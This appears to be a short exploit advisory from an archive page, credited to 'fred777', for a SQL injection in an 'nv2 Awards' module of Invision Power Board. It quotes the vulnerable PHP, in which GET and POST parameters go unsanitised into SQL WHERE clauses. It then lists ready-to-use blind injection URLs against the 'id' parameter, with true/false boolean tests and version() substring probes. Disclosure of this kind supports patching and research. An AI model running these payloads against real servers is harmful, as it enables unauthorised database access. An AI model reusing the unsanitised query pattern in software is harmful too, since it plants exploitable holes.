47 lines
No EOL
1.6 KiB
Text
47 lines
No EOL
1.6 KiB
Text
#################################################
|
|
+
|
|
+ Author: fred777 - [fred777.de]
|
|
+ Link: http://forums.invisionize.com/nv2-Awards-120-t137847.html
|
|
+ Vuln: index.php?autocom=awards&do=view&id=1
|
|
+ Greetzz to: Back2hack.cc
|
|
+ Contact: nebelfrost77@googlemail.com
|
|
+
|
|
#################################################
|
|
|
|
--[ Vuln Code ] --
|
|
|
|
$this->ipsclass->DB->build_query( array( 'select' => 'a.user_id',
|
|
'from' => array( 'awarded' => 'a' ),
|
|
'where' => 'a.award_id=' . $this->ipsclass->input['id'],
|
|
'add_join' => array( 0 => array( 'select' => 'm.members_display_name',
|
|
'from' => array( 'members' => 'm' ),
|
|
'where' => 'm.id=a.user_id',
|
|
'type' => 'left',
|
|
) ),
|
|
) );
|
|
|
|
--------------------------------------------------------------------------------------
|
|
|
|
'select' => '*',
|
|
'from' => 'awards',
|
|
'where' => 'id = "' . $_POST['award'] . '"',
|
|
) );
|
|
|
|
--------------------------------------------------------------------------------------
|
|
|
|
$award_dat['user_id'] = $_GET['id'];
|
|
$award_dat['award_id'] = $_POST['award'];
|
|
|
|
################################################
|
|
|
|
--[ Exploitable ]--
|
|
|
|
http://server/index.php?autocom=awards&do=view&id=1[SQL INJECTION]
|
|
|
|
http://server/index.php?autocom=awards&do=view&id=1+and+1=1 > true
|
|
http://server/index.php?autocom=awards&do=view&id=1+and+1=0 > false
|
|
|
|
http://server/index.php?autocom=awards&do=view&id=1+and+substring(version(),1,1)=5
|
|
http://server/index.php?autocom=awards&do=view&id=1+and+substring(version(),1,1)=4
|
|
|
|
################################################ |